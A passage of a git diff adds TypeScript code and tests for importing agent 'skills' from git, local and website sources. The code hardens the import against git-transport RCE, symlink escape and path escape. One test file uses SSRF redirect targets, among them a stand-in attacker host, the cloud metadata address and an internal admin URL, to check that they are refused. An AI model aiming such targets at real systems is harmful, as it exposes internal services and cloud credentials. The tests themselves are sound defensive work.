+ const [, owner, skill] = prefixedHandle;
+ return owner && skill ? { owner, skill } : null;
+ }
+
+ return null;
+}
+
+export interface Fetched {
+ /** Directory to read the skill-dir(s) from. */
+ readonly dir: string;
+ /** Resolved commit sha for a git clone; `undefined` for local sources. */
+ readonly ref?: string;
+ /** Remove any temp clone. No-op for local sources. */
+ readonly cleanup: () => void;
+}
+
+/**
+ * Fetch a source to a local directory. Local sources are read in place,
+ * repositories are shallow-cloned, and website bundles are materialized from
+ * their well-known index. The caller always owns `cleanup()`.
+ */
+export async function fetchSource(
+ spec: SourceSpec,
+ opts: WellKnownFetchOptions = {},
+): Promise<Fetched> {
+ if (spec.kind === 'well-known') return fetchWellKnownSkill(spec, opts);
+ if (spec.kind === 'local') {
+ const dir = resolve(spec.path.replace(/^~(?=\/|$)/, process.env.HOME ?? '~'));
+ if (!existsSync(dir)) throw new SkillFetchError(`Local path not found: ${dir}`);
+ return { dir, cleanup: () => {} };
+ }
+ // Defense-in-depth: parseSource is the intended chokepoint (it allowlists
+ // remote transports and routes local paths to `kind: 'local'`), but SourceSpec
+ // is a public type — reject git's command-executing helper transports here too
+ // so a caller that hand-builds `{ kind: 'git', url }` can't smuggle an
+ // `ext::`/`fd::` RCE into `git clone`. A bare local path stays cloneable.
+ // Enforce the POSITIVE allowlist, not a two-entry denylist: a hand-built
+ // `{ kind: 'git', url: 'file:///…' }` slipped past an `ext|fd` check and
+ // reached `git clone`, even though `parseSource` routes `file://` to
+ // `kind: 'local'` and the server's `isAllowedGitUrl` rejects it outright.
+ // A scheme needs 2+ characters so a Windows drive letter (`C:\…`) is read as
+ // a path, and a bare filesystem path stays cloneable — that is how the CLI
+ // clones a local repo.
+ const hasTransportScheme = /^[a-z][a-z0-9+.-]+:/i.test(spec.url);
+ if (hasTransportScheme && !ALLOWED_GIT_TRANSPORTS.some((p) => p.test(spec.url))) {
+ throw new SkillFetchError(`Unsupported git transport: ${spec.url}`);
+ }
+ const tmp = mkdtempSync(join(tmpdir(), 'ok-skill-import-'));
+ try {
+ // `--` terminates option parsing so a URL beginning with `-` can never be
+ // read as a git flag (defense-in-depth — execFileSync already runs no shell).
+ // `-q` keeps clone progress off stderr (would otherwise risk the maxBuffer);
+ // `timeout` bounds a dead host or a private-repo credential prompt that would
+ // otherwise hang the import handler indefinitely.
+ // Async (not execFileSync) so a slow clone doesn't block the whole Node
+ // event loop — every HTTP route + the collab websocket would otherwise
+ // freeze for up to the 60s timeout on the preview/discover/import paths.
+ // `-c core.symlinks=false`: a malicious source can commit SKILL.md (or a
+ // scripts/references file) as a symlink to a host file; with symlinks off,
+ // git writes them as plain text holding the link path, so the reader never
+ // follows the escape (defense-in-depth — the read is on the server's host).
+ await execFileAsync(
+ 'git',
+ ['-c', 'core.symlinks=false', 'clone', '-q', '--depth', '1', '--', spec.url, tmp],
+ {
+ timeout: 60_000,
+ maxBuffer: 16 * 1024 * 1024,
+ env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },
+ },
+ );
+ } catch (e) {
+ rmSync(tmp, { recursive: true, force: true });
+ const msg = e instanceof Error ? e.message : String(e);
+ throw new SkillFetchError(`git clone failed for ${spec.url}: ${msg}`);
+ }
+ let ref: string | undefined;
+ try {
+ ref = execFileSync('git', ['-C', tmp, 'rev-parse', 'HEAD'], { stdio: 'pipe' })
+ .toString()
+ .trim();
+ } catch {
+ // Non-fatal — the clone succeeded; we just couldn't read the sha.
+ }
+ const dir = spec.subpath ? resolve(tmp, spec.subpath) : tmp;
+ // Containment via `relative` (not a string prefix): a prefix check would admit
+ // a sibling like `<tmp>-extra`. An escaping subpath yields a `..`-leading or
+ // absolute relative path.
+ const containment = relative(tmp, dir);
+ if (containment.startsWith('..') || isAbsolute(containment)) {
+ rmSync(tmp, { recursive: true, force: true });
+ throw new SkillFetchError(`subpath escapes the clone: ${spec.subpath}`);
+ }
+ if (!existsSync(dir)) {
+ rmSync(tmp, { recursive: true, force: true });
+ throw new SkillFetchError(`subpath not found in repo: ${spec.subpath}`);
+ }
+ return { dir, ref, cleanup: () => rmSync(tmp, { recursive: true, force: true }) };
+}
diff --git a/packages/core/src/skills-catalog/acquire/lockfile.test.ts b/packages/core/src/skills-catalog/acquire/lockfile.test.ts
new file mode 100644
index 000000000..a008b43a3
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/lockfile.test.ts
@@ -0,0 +1,22 @@
+import { describe, expect, test } from 'vitest';
+import { OPENKNOWLEDGE_SKILLS_REPO, PACK_SKILL_PREFIX } from '../../constants/skills.ts';
+import { retrofitPackLockEntry } from './lockfile.ts';
+
+describe('retrofitPackLockEntry', () => {
+ test('synthesizes a deterministic entry for a pack-prefixed skill with no lock entry', () => {
+ const name = `${PACK_SKILL_PREFIX}getting-started`;
+ const entry = retrofitPackLockEntry(name, 'a'.repeat(64), '2026-07-15T00:00:00.000Z');
+ expect(entry).toEqual({
+ source: OPENKNOWLEDGE_SKILLS_REPO,
+ skill: name,
+ contentHash: 'a'.repeat(64),
+ importedAt: '2026-07-15T00:00:00.000Z',
+ });
+ });
+
+ test('returns null for a non-pack (authored/imported) skill name', () => {
+ expect(retrofitPackLockEntry('my-authored-skill', 'deadbeef', '2026-07-15T00:00:00.000Z')).toBe(
+ null,
+ );
+ });
+});
diff --git a/packages/core/src/skills-catalog/acquire/lockfile.ts b/packages/core/src/skills-catalog/acquire/lockfile.ts
new file mode 100644
index 000000000..74f3e95e1
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/lockfile.ts
@@ -0,0 +1,126 @@
+/**
+ * The import lockfile schema + pure transforms — the "tracking" half of import.
+ *
+ * `<project>/.ok/skills-lock.json` records WHERE each imported skill came from,
+ * separate from the skill content and from the per-machine installed-skills
+ * symlink marker. It is committed, so a teammate's `update` re-pulls from the
+ * same upstream. Disk I/O lives in the server (fs-traced); this module is the
+ * schema + pure helpers so both sides validate identically.
+ */
+
+import { z } from 'zod';
+import { OK_DIR } from '../../constants/ok-dir.ts';
+import { OPENKNOWLEDGE_SKILLS_REPO, PACK_SKILL_PREFIX } from '../../constants/skills.ts';
+
+/** Filename of the committed import lockfile under `.ok/`. */
+export const SKILLS_LOCK_FILENAME = 'skills-lock.json';
+
+/** Path segments relative to the project root (committed, NOT under `local/`). */
+export const SKILLS_LOCK_REL = [OK_DIR, SKILLS_LOCK_FILENAME] as const;
+
+/** Schema major version. Bump on breaking shape changes with a migrator. */
+export const SKILLS_LOCK_SCHEMA_VERSION = 1;
+
+/** One imported skill's upstream record. `looseObject` for forward-compat. */
+export const SkillLockEntrySchema = z.looseObject({
+ /** The raw source the user imported from (url / shorthand / path / `adopt:<harness>`). */
+ source: z.string(),
+ /** Owning plugin adapter. Persisted so future providers never reinterpret source paths. */
+ pluginProvider: z.string().optional(),
+ /** Picked upstream skill dir basename (multi-skill sources) — reimport re-selects it. */
+ skill: z.string().optional(),
+ /** Resolved commit sha when the source was a git clone. */
+ ref: z.string().optional(),
+ /** sha256 over the UPSTREAM bundle as fetched — integrity + dedupe key. */
+ contentHash: z.string(),
+ /** Bundle-file paths present in that upstream snapshot (excludes SKILL.md).
+ * Reimport uses this manifest to prune files removed upstream without
+ * mistaking a later user-authored local file for upstream residue. */
+ files: z.array(z.string()).optional(),
+ /**
+ * sha256 over the skill AS WRITTEN LOCALLY at install/reimport time — the
+ * mutation baseline. Differs from `contentHash` because the write canonicalizes
+ * frontmatter to `{name,description}`; comparing the current on-disk hash to
+ * `contentHash` would flag every freshly-installed skill as modified. Optional:
+ * lockfiles written before this field can't detect mutation (treated as clean).
+ */
+ localHash: z.string().optional(),
+ /**
+ * Shadow-repo commit the skill was written at on install/reimport — the Revert
+ * target ("restore the version I installed"). Restored via the same engine as
+ * skill version-history restore. Optional: entries written before this field
+ * can't be reverted (the UI hides Revert when absent).
+ */
+ baselineRef: z.string().optional(),
+ publisher: z.string().optional(),
+ importedAt: z.iso.datetime(),
+ /** Explicit per-skill auto-update choice; absent uses the source-kind default. */
+ autoUpdate: z.boolean().optional(),
+});
+export type SkillLockEntry = z.infer<typeof SkillLockEntrySchema>;
+
+/** Top-level lockfile shape; `skills` keyed by the on-disk skill name. */
+export const SkillsLockSchema = z.looseObject({
+ schema: z.literal(SKILLS_LOCK_SCHEMA_VERSION),
+ skills: z.record(z.string(), SkillLockEntrySchema).default({}),
+});
+export type SkillsLock = z.infer<typeof SkillsLockSchema>;
+
+/** A fresh, empty lockfile at the current schema version. */
+export function emptySkillsLock(): SkillsLock {
+ return { schema: SKILLS_LOCK_SCHEMA_VERSION, skills: {} };
+}
+
+/**
+ * Parse + validate raw lockfile JSON. Returns `null` on parse error or schema
+ * violation (fail-soft — a corrupt lockfile is treated as "nothing imported"
+ * rather than throwing, so a bad file never breaks an import).
+ */
+export function parseSkillsLock(raw: string): SkillsLock | null {
+ let json: unknown;
+ try {
+ json = JSON.parse(raw);
+ } catch {
+ return null;
+ }
+ const parsed = SkillsLockSchema.safeParse(json);
+ return parsed.success ? parsed.data : null;
+}
+
+/** Pure: return a new lockfile with `name`'s entry set to `entry`. */
+export function upsertLockEntry(lock: SkillsLock, name: string, entry: SkillLockEntry): SkillsLock {
+ return { ...lock, skills: { ...lock.skills, [name]: entry } };
+}
+
+/**
+ * Retrofit provenance for a seeded starter pack that predates lockfile recording.
+ * A `open-knowledge-pack-*` skill installed before provenance existed has no lock
+ * entry, but every pack ships from OPENKNOWLEDGE_SKILLS_REPO — a deterministic
+ * upstream — so synthesize the entry from the installed `contentHash` and let it
+ * update through the normal reimport path. An unchanged upstream is then a correct
+ * no-op (installed hash === acquired hash). Returns null for any non-pack name.
+ */
+export function retrofitPackLockEntry(
+ name: string,
+ installedContentHash: string,
+ importedAt: string,
+): SkillLockEntry | null {
+ if (!name.startsWith(PACK_SKILL_PREFIX)) return null;
+ return {
+ source: OPENKNOWLEDGE_SKILLS_REPO,
+ skill: name,
+ contentHash: installedContentHash,
+ importedAt,
+ };
+}
+
+/**
+ * Is a skill with this `contentHash` already recorded? The "already have it"
+ * dedupe signal — the same bytes imported before need not be re-fetched.
+ */
+export function findByContentHash(lock: SkillsLock, contentHash: string): string | null {
+ for (const [name, entry] of Object.entries(lock.skills)) {
+ if (entry.contentHash === contentHash) return name;
+ }
+ return null;
+}
diff --git a/packages/core/src/skills-catalog/acquire/parse.ts b/packages/core/src/skills-catalog/acquire/parse.ts
new file mode 100644
index 000000000..98b3cd421
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/parse.ts
@@ -0,0 +1,265 @@
+/**
+ * Parse a fetched skill directory into an `AcquiredSkill` — name/description
+ * (frontmatter, dir-name fallback), the full SKILL.md text, every bundle file's
+ * CONTENTS (slice-1's reader returns paths only; import needs the bytes to
+ * re-write them), and a stable sha256 `contentHash` (integrity + dedupe key).
+ *
+ * FULL-DIRECTORY fidelity: every file beside `SKILL.md` is captured (not only
+ * `scripts/` + `references/` — root files, `assets/`, `.claude-plugin/`, any
+ * subdir), so an import re-writes the skill byte-for-byte. Text files carry
+ * UTF-8 `content`; binary files (NUL present) carry raw `bytes` instead, so
+ * images/archives survive import without base64 bloat. `.git`/`node_modules`
+ * are excluded as VCS/dependency noise. Scripts are content here, never
+ * executed — the server trust gate is the enforcement point.
+ */
+
+import { createHash } from 'node:crypto';
+import { type Dirent, existsSync, readdirSync, readFileSync, statSync } from 'node:fs';
+import { basename, join, relative } from 'node:path';
+import {
+ SKILL_IMPORT_MAX_BUNDLE_FILES,
+ SKILL_IMPORT_MAX_FILE_BYTES,
+ SKILL_IMPORT_MAX_TOTAL_BYTES,
+} from '../import-limits.ts';
+import { readSkillManifestMeta } from '../manifest-meta.ts';
+
+/** Directories never captured into a skill bundle (VCS + dependency noise). */
+const BUNDLE_WALK_IGNORE: ReadonlySet<string> = new Set(['.git', 'node_modules']);
+
+/** Discovery skips the VCS/dependency noise above PLUS a skill's own bundle
+ * subdirs — descent stops at a skill dir, so these can only be its contents. */
+const DISCOVER_WALK_IGNORE: ReadonlySet<string> = new Set([
+ ...BUNDLE_WALK_IGNORE,
+ 'scripts',
+ 'references',
+]);
+
+export interface AcquiredFile {
+ /** Skill-relative POSIX path, e.g. `scripts/run.sh`, `references/api.md`, `assets/logo.png`. */
+ readonly relPath: string;
+ /** UTF-8 text, or `null` when the file is binary — its raw bytes are in `bytes`. */
+ readonly content: string | null;
+ /** Raw bytes for a binary file (NUL present / non-UTF8); absent for text files. */
+ readonly bytes?: Uint8Array;
+}
+
+export interface AcquiredSkill {
+ readonly name: string;
+ readonly description: string;
+ /** Full SKILL.md text (frontmatter + body), verbatim. */
+ readonly skillMd: string;
+ readonly files: AcquiredFile[];
+ /** sha256 over the canonical (path-sorted) bundle — integrity + dedupe. */
+ readonly contentHash: string;
+}
+
+/**
+ * Every file beside `SKILL.md` under `dir` (recursive), as skill-relative
+ * entries. Text files carry UTF-8 `content`; binary files (any NUL byte) carry
+ * raw `bytes`. `.git`/`node_modules` are skipped. Sorted by path.
+ */
+function readBundleFiles(dir: string): AcquiredFile[] {
+ const out: AcquiredFile[] = [];
+ const walk = (d: string): void => {
+ for (const e of readdirSync(d, { withFileTypes: true })) {
+ const abs = join(d, e.name);
+ if (e.isDirectory()) {
+ if (!BUNDLE_WALK_IGNORE.has(e.name)) walk(abs);
+ continue;
+ }
+ if (!e.isFile()) continue;
+ const relPath = relative(dir, abs).split('\\').join('/');
+ if (relPath === 'SKILL.md') continue;
+ const buf = readFileSync(abs);
+ // NUL byte ⇒ binary (mirrors the server's readSkillBundledFiles heuristic).
+ out.push(
+ buf.includes(0)
+ ? { relPath, content: null, bytes: new Uint8Array(buf) }
+ : { relPath, content: buf.toString('utf-8') },
+ );
+ }
+ };
+ walk(dir);
+ return out.sort((a, b) => a.relPath.localeCompare(b.relPath));
+}
+
+/**
+ * Name + description only, reading `SKILL.md` and nothing else.
+ *
+ * For LISTING a fetched tree — the discover response, the preview's name-match
+ * probe — where `parseSkillDir` would pull every byte of every bundle in the
+ * repo (plus hash them) to render one line each. Use it whenever the contents
+ * are not about to be written somewhere.
+ */
+export function readSkillDirMeta(dir: string): { name: string; description: string } | null {
+ const skillMdPath = join(dir, 'SKILL.md');
+ if (!existsSync(skillMdPath)) return null;
+ return readSkillManifestMeta(readFileSync(skillMdPath, 'utf-8'), basename(dir));
+}
+
+/**
+ * Stat-only pre-flight for a FETCHED (untrusted) bundle: the same caps the
+ * import applies, measured before anything is read. Returns the failure
+ * message, or null when the tree fits.
+ *
+ * The downstream limit check runs on an already-materialized file array, so a
+ * cloned repo holding a few 500 MB blobs exhausts the heap before that check
+ * can fire. `statSync` costs nothing and the walk stops at the first breach.
+ * Call this on every acquisition path (import, reimport, preview); local
+ * already-on-disk skills stay unbounded, which is what their hash-compare
+ * callers expect.
+ */
+export function acquiredBundleTooLarge(dir: string): string | null {
+ let files = 0;
+ let totalBytes = 0;
+ let failure: string | null = null;
+ // Every fs call here can fail on something other than size: EACCES/EPERM on an
+ // unreadable dir, ENOENT if the tree changes under the walk. Callers treat the
+ // return as "the reason to refuse, or null" and are entitled to that being the
+ // ONLY outcome — a throw from a pre-flight size check would surface as an
+ // internal error, and in a bulk import it would take the whole selection down.
+ // An unreadable bundle is a refusal like any other.
+ const refuse = (op: string, err: unknown): null => {
+ failure = `Skill bundle could not be read (${op}): ${err instanceof Error ? err.message : String(err)}`;
+ return null;
+ };
+ try {
+ totalBytes = existsSync(join(dir, 'SKILL.md')) ? statSync(join(dir, 'SKILL.md')).size : 0;
+ } catch (err) {
+ return refuse('stat SKILL.md', err) ?? failure;
+ }
+ // Check SKILL.md against both caps HERE, not in the walk: the walk `continue`s
+ // past SKILL.md, so a bundle whose only file is one enormous SKILL.md would
+ // reach no check at all and read as "fits" — the cheapest possible version of
+ // the heap exhaustion this pre-flight exists to prevent.
+ if (totalBytes > SKILL_IMPORT_MAX_FILE_BYTES) {
+ return `SKILL.md is ${totalBytes} bytes; the import per-file cap is ${SKILL_IMPORT_MAX_FILE_BYTES}.`;
+ }
+ if (totalBytes > SKILL_IMPORT_MAX_TOTAL_BYTES) {
+ return `Skill exceeds ${SKILL_IMPORT_MAX_TOTAL_BYTES} bytes; that is the import bundle cap.`;
+ }
+ const walk = (d: string): void => {
+ if (failure !== null) return;
+ let entries: Dirent[];
+ try {
+ entries = readdirSync(d, { withFileTypes: true });
+ } catch (err) {
+ refuse('read directory', err);
+ return;
+ }
+ for (const e of entries) {
+ if (failure !== null) return;
+ const abs = join(d, e.name);
+ if (e.isDirectory()) {
+ if (!BUNDLE_WALK_IGNORE.has(e.name)) walk(abs);
+ continue;
+ }
+ if (!e.isFile()) continue;
+ const relPath = relative(dir, abs).split('\\').join('/');
+ if (relPath === 'SKILL.md') continue;
+ files += 1;
+ if (files > SKILL_IMPORT_MAX_BUNDLE_FILES) {
+ failure = `Skill has more than ${SKILL_IMPORT_MAX_BUNDLE_FILES} dependent files; that is the import cap.`;
+ return;
+ }
+ let size: number;
+ try {
+ size = statSync(abs).size;
+ } catch (err) {
+ refuse(`stat ${relPath}`, err);
+ return;
+ }
+ if (size > SKILL_IMPORT_MAX_FILE_BYTES) {
+ failure = `${relPath} is ${size} bytes; the import per-file cap is ${SKILL_IMPORT_MAX_FILE_BYTES}.`;
+ return;
+ }
+ totalBytes += size;
+ if (totalBytes > SKILL_IMPORT_MAX_TOTAL_BYTES) {
+ failure = `Skill exceeds ${SKILL_IMPORT_MAX_TOTAL_BYTES} bytes; that is the import bundle cap.`;
+ return;
+ }
+ }
+ };
+ // Defensive: the callers' contract is "the reason to refuse, or null", and a
+ // throw from a pre-flight SIZE check would surface as an internal error — in a
+ // bulk import, taking the whole selection down. The per-call guards above cover
+ // the fs failures; this covers the rest (a pathologically deep tree exhausting
+ // the recursion stack, most plausibly).
+ try {
+ walk(dir);
+ } catch (err) {
+ return `Skill bundle could not be measured: ${err instanceof Error ? err.message : String(err)}`;
+ }
+ return failure;
+}
+
+/**
+ * Parse one skill directory (`<dir>/SKILL.md` + every other file). Returns
+ * `null` when there is no SKILL.md. Malformed frontmatter degrades to the dir
+ * name (never throws) so one bad source skill is degraded, not fatal.
+ */
+export function parseSkillDir(dir: string): AcquiredSkill | null {
+ const skillMdPath = join(dir, 'SKILL.md');
+ if (!existsSync(skillMdPath)) return null;
+ const skillMd = readFileSync(skillMdPath, 'utf-8');
+
+ const { name, description } = readSkillManifestMeta(skillMd, basename(dir));
+
+ const files = readBundleFiles(dir);
+
+ const hash = createHash('sha256');
+ hash.update(`SKILL.md\n${skillMd}\n`);
+ for (const f of files) {
+ hash.update(`${f.relPath}\n`);
+ hash.update(f.bytes ?? f.content ?? '');
+ hash.update('\n');
+ }
+
+ return { name, description, skillMd, files, contentHash: hash.digest('hex') };
+}
+
+/**
+ * Discover skill directories under a fetched root by walking the tree for any
+ * `SKILL.md`. A root that is itself a skill-dir yields one entry named for the
+ * dir; otherwise every directory containing a `SKILL.md` is a skill, at any
+ * depth — repos shelve skills as `skills/<skill>/`, `skills/<category>/<skill>/`
+ * (e.g. mattpocock/skills), `.claude/skills/<skill>/`, etc. Descent stops at a
+ * skill dir (a skill's own `scripts/`/`references/` never nest another skill)
+ * and skips VCS/dependency noise. Sorted by name.
+ */
+export function discoverSkillDirs(root: string): Array<{ name: string; dir: string }> {
+ if (existsSync(join(root, 'SKILL.md'))) return [{ name: basename(root), dir: root }];
+ const found: Array<{ name: string; dir: string }> = [];
+ const MAX_DEPTH = 8;
+ // Depth alone does not bound the work: `source` can be a local path, so a
+ // root of `~` stat-walks an entire home directory on the main thread — which
+ // is also the thread serving the collab websocket, so every open editor
+ // freezes for the duration. Cap the directories visited too.
+ const MAX_DIRS = 5_000;
+ let visited = 0;
+ const walk = (dir: string, depth: number) => {
+ if (depth > MAX_DEPTH || ++visited > MAX_DIRS) return;
+ if (existsSync(join(dir, 'SKILL.md'))) {
+ found.push({ name: basename(dir), dir });
+ return;
+ }
+ let entries: Dirent[];
+ try {
+ entries = readdirSync(dir, { withFileTypes: true });
+ } catch {
+ // One unreadable directory (EACCES/EPERM, or a race that unlinks it
+ // mid-walk) is not an enumeration failure — every OTHER skill in the
+ // source is still discoverable, and a throw here would take down the
+ // preview, the picker, and a whole bulk import along with it. The
+ // unreadable dir simply contributes nothing.
+ return;
+ }
+ for (const e of entries) {
+ if (e.isDirectory() && !DISCOVER_WALK_IGNORE.has(e.name)) {
+ walk(join(dir, e.name), depth + 1);
+ }
+ }
+ };
+ walk(root, 0);
+ return found.sort((a, b) => a.name.localeCompare(b.name));
+}
diff --git a/packages/core/src/skills-catalog/acquire/skills-sh.ts b/packages/core/src/skills-catalog/acquire/skills-sh.ts
new file mode 100644
index 000000000..475a6b58f
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/skills-sh.ts
@@ -0,0 +1,135 @@
+import { parseSkillsShSearch } from '../search.ts';
+import { parseSkillsShCatalogSource } from '../source-fields.ts';
+import { parseSkillsShSource, parseSource, SkillFetchError, type SourceSpec } from './fetch.ts';
+
+interface FetchResponseLike {
+ ok: boolean;
+ status: number;
+ json: () => Promise<unknown>;
+}
+
+type FetchLike = (url: string, init?: { signal?: AbortSignal }) => Promise<FetchResponseLike>;
+
+export interface ResolvedSkillsShImportSource {
+ source: string;
+ skill: string;
+ publisher?: string;
+ spec: SourceSpec;
+}
+
+export interface SkillsShWebsiteSource {
+ readonly hostname: string;
+ readonly skill?: string;
+}
+
+function normalizeSkillLookup(s: string): string {
+ return s.trim().toLowerCase();
+}
+
+function skillSearchIdSlug(id: string): string {
+ return id.split('/').filter(Boolean).pop() ?? id;
+}
+
+/** Recognize a website catalog source or its canonical skills.sh page URL. */
+export function parseSkillsShWebsiteSource(rawSource: string): SkillsShWebsiteSource | null {
+ const directSource = parseSkillsShCatalogSource(rawSource.trim());
+ if (directSource?.kind === 'site') return { hostname: directSource.hostname };
+
+ const ref = parseSkillsShSource(rawSource);
+ if (!ref) return null;
+ const pageSource = parseSkillsShCatalogSource(ref.owner);
+ return pageSource?.kind === 'site' ? { hostname: pageSource.hostname, skill: ref.skill } : null;
+}
+
+/**
+ * Resolve a skills.sh page or website catalog source to the typed source that
+ * acquisition can fetch. Returns `null` for ordinary git/local sources.
+ */
+export async function resolveSkillsShImportSource(
+ rawSource: string,
+ requestedSkill?: string,
+ opts: {
+ fetchImpl?: FetchLike;
+ timeoutMs?: number;
+ } = {},
+): Promise<ResolvedSkillsShImportSource | null> {
+ const websiteSource = parseSkillsShWebsiteSource(rawSource);
+ if (websiteSource) {
+ const skill = requestedSkill ?? websiteSource.skill;
+ if (!skill) {
+ throw new SkillFetchError('Website skill sources require a skill name.');
+ }
+ return {
+ source: websiteSource.hostname,
+ skill,
+ publisher: websiteSource.hostname,
+ spec: {
+ kind: 'well-known',
+ origin: `https://${websiteSource.hostname}`,
+ skill,
+ },
+ };
+ }
+
+ const ref = parseSkillsShSource(rawSource);
+ if (!ref) return null;
+
+ const fetchImpl = opts.fetchImpl ?? globalThis.fetch;
+ if (!fetchImpl) throw new SkillFetchError('No fetch implementation available.');
+
+ const query = requestedSkill ?? ref.skill;
+ const wantedSkill = normalizeSkillLookup(query);
+ const wantedOwner = normalizeSkillLookup(ref.owner);
+ let payload: unknown;
+ try {
+ const r = await fetchImpl(
+ `https://skills.sh/api/search?q=${encodeURIComponent(query)}&limit=30`,
+ { signal: AbortSignal.timeout(opts.timeoutMs ?? 8000) },
+ );
+ if (!r.ok) throw new SkillFetchError(`skills.sh lookup failed with HTTP ${r.status}`);
+ payload = await r.json();
+ } catch (e) {
+ if (e instanceof SkillFetchError) throw e;
+ // A network failure, the AbortSignal.timeout firing, or a malformed JSON body
+ // reject with a non-SkillFetchError; wrap them so the import/reimport routes
+ // return a 400 "Could not fetch source" instead of an opaque 500.
+ throw new SkillFetchError(
+ `skills.sh lookup failed: ${e instanceof Error ? e.message : String(e)}`,
+ );
+ }
+
+ const results = parseSkillsShSearch(payload);
+ const match = results.find((result) => {
+ const owner = result.publisher ? normalizeSkillLookup(result.publisher) : '';
+ if (owner !== wantedOwner) return false;
+ const resultName = normalizeSkillLookup(result.name);
+ const resultSlug = normalizeSkillLookup(skillSearchIdSlug(result.id));
+ return resultName === wantedSkill || resultSlug === wantedSkill;
+ });
+ if (!match) {
+ throw new SkillFetchError(`No skills.sh result matched ${ref.owner}/${ref.skill}`);
+ }
+ // `match.source` is untrusted external data. It may yield a repository or a
+ // strictly validated website hostname, but never a local-path shape (`/etc`,
+ // `~/.ssh`) that could turn a compromised response into a host filesystem read.
+ const catalogSource = parseSkillsShCatalogSource(match.source);
+ const spec =
+ catalogSource?.kind === 'site'
+ ? ({
+ kind: 'well-known',
+ origin: `https://${catalogSource.hostname}`,
+ skill: requestedSkill ?? match.name,
+ } satisfies SourceSpec)
+ : parseSource(match.source);
+ if (!spec || spec.kind === 'local') {
+ throw new SkillFetchError(
+ `skills.sh returned an unsafe source for ${ref.owner}/${ref.skill}: ${match.source}`,
+ );
+ }
+ return {
+ source: match.source,
+ skill: requestedSkill ?? match.name,
+ ...(match.publisher ? { publisher: match.publisher } : {}),
+ spec,
+ };
+}
diff --git a/packages/core/src/skills-catalog/acquire/well-known-redirect.test.ts b/packages/core/src/skills-catalog/acquire/well-known-redirect.test.ts
new file mode 100644
index 000000000..ce87d722c
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/well-known-redirect.test.ts
@@ -0,0 +1,108 @@
+/**
+ * Redirect containment for website ("well-known") skill sources.
+ *
+ * The guard exists because a plain `fetch` follows redirects itself: the origin
+ * check only ever saw the FIRST url, so an https origin could bounce the
+ * request to http, to another host, or to a link-local address while the gate
+ * reported success. `fetchWithinOrigin` follows hops itself and re-checks each
+ * one. It is the most security-load-bearing function on this surface and had no
+ * test at all — these pin every refusal path so a "simplification" back to
+ * default redirect handling fails loudly instead of silently reopening SSRF.
+ */
+import { describe, expect, test } from 'vitest';
+import { readWellKnownIndex } from './well-known.ts';
+
+const ORIGIN = 'https://skills.example.com';
+
+const redirectTo = (location: string | null, status = 302): Response =>
+ new Response(null, {
+ status,
+ headers: location === null ? {} : { location },
+ });
+
+/** A fetch stub that records every url it is asked for. */
+function trackingFetch(handler: (url: string) => Response): {
+ fetchImpl: typeof fetch;
+ urls: string[];
+} {
+ const urls: string[] = [];
+ const fetchImpl = (async (input: string | URL | Request) => {
+ const url = String(input);
+ urls.push(url);
+ return handler(url);
+ }) as unknown as typeof fetch;
+ return { fetchImpl, urls };
+}
+
+describe('fetchWithinOrigin (via readWellKnownIndex)', () => {
+ test('refuses an https → http downgrade instead of following it', async () => {
+ const { fetchImpl, urls } = trackingFetch(() =>
+ redirectTo('http://skills.example.com/.well-known/agent-skills/index.json'),
+ );
+
+ await expect(readWellKnownIndex(ORIGIN, { fetchImpl })).rejects.toThrow(/left the origin/);
+ // Refused, not followed: the downgraded url was never requested.
+ expect(urls.some((u) => u.startsWith('http://'))).toBe(false);
+ });
+
+ test('refuses a cross-origin hop, including to a link-local address', async () => {
+ for (const target of [
+ 'https://evil.example.com/index.json',
+ 'https://169.254.169.254/latest/meta-data',
+ 'https://10.0.0.7:8080/admin',
+ ]) {
+ const { fetchImpl, urls } = trackingFetch(() => redirectTo(target));
+ await expect(readWellKnownIndex(ORIGIN, { fetchImpl })).rejects.toThrow(/left the origin/);
+ expect(urls.some((u) => u.startsWith(new URL(target).origin))).toBe(false);
+ }
+ });
+
+ test('refuses a redirect that carries no location', async () => {
+ const { fetchImpl } = trackingFetch(() => redirectTo(null));
+ await expect(readWellKnownIndex(ORIGIN, { fetchImpl })).rejects.toThrow(/carried no location/);
+ });
+
+ test('refuses a location that is not a resolvable URL', async () => {
+ const { fetchImpl } = trackingFetch(() => redirectTo('http://[not a url'));
+ await expect(readWellKnownIndex(ORIGIN, { fetchImpl })).rejects.toThrow(/not a URL/);
+ });
+
+ test('caps a same-origin redirect loop rather than following it forever', async () => {
+ let n = 0;
+ const { fetchImpl, urls } = trackingFetch(() => redirectTo(`${ORIGIN}/hop-${n++}.json`));
+
+ await expect(readWellKnownIndex(ORIGIN, { fetchImpl })).rejects.toThrow(
+ /exceeded \d+ redirects/,
+ );
+ // Bounded, not unbounded: (MAX_REDIRECTS + 1) attempts per candidate index
+ // path, and there are two candidates. The point is that it terminates.
+ expect(urls.length).toBeLessThanOrEqual(12);
+ });
+
+ test('DOES follow a same-origin https hop and returns the final body', async () => {
+ const index = {
+ basePath: '/.well-known/agent-skills',
+ skills: [{ name: 'grill-me', description: 'x', files: ['SKILL.md'] }],
+ };
+ const { fetchImpl } = trackingFetch((url) =>
+ url.includes('/moved/')
+ ? new Response(JSON.stringify(index), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ })
+ : redirectTo(`${ORIGIN}/moved/index.json`),
+ );
+
+ const result = await readWellKnownIndex(ORIGIN, { fetchImpl });
+ expect(result.skills.map((s) => s.name)).toEqual(['grill-me']);
+ });
+});
+
+describe('origin admission', () => {
+ test('refuses a non-https or credentialed origin outright', async () => {
+ const { fetchImpl } = trackingFetch(() => new Response('{}', { status: 200 }));
+ for (const bad of ['http://skills.example.com', 'https://user:[email protected]']) {
+ await expect(readWellKnownIndex(bad, { fetchImpl })).rejects.toThrow(/credential-free HTTPS/);
+ }
+ });
+});
diff --git a/packages/core/src/skills-catalog/acquire/well-known.ts b/packages/core/src/skills-catalog/acquire/well-known.ts
new file mode 100644
index 000000000..4977fc02f
--- /dev/null
+++ b/packages/core/src/skills-catalog/acquire/well-known.ts
@@ -0,0 +1,306 @@
+import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { dirname, join } from 'node:path';
+import {
+ SKILL_IMPORT_MAX_BUNDLE_FILES,
